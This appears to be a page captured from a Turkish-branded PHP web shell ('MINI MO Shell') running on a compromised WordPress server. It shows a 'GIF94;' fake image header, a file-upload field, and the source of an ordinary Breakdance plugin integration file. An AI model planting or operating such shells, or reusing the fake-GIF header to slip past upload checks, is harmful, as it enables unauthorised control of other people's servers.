GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxygen/plugin/partners/codebox/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxygen/plugin/partners/codebox/integration.php

<?php

namespace Breakdance\Partners\CodeBox;

add_action(
    'breakdance_loaded',
    function () {
        \Breakdance\AJAX\register_handler(
            'breakdance_codebox_send',
            '\Breakdance\Partners\CodeBox\send_to_codebox',
            'full',
            true,
            [
                'args' => [
                    'code' => FILTER_UNSAFE_RAW,
                ]
            ]
        );
    }
);

/**
 * @param string $code
 * @return array
 */
function send_to_codebox($code)
{
    if (!isCodeBoxInstalled()) {
        return [
            'status' => 'codebox_not_installed',
        ];
    }
    /**
     * @psalm-suppress UndefinedFunction
     * @var int
     */
    $snippetId = \BreakdanceWPCodeBox\saveSnippetToCodeBox($code);
    return [
        'status' => 'success',
        'data' => [
            'snippetId' => $snippetId
        ]
    ];
}

/**
 * @return boolean
 */
function isCodeBoxInstalled()
{
    return class_exists('\Wpcb2\Api\Api');
}

OHA YOOO - Tarih: 2026-08-03 23:10:39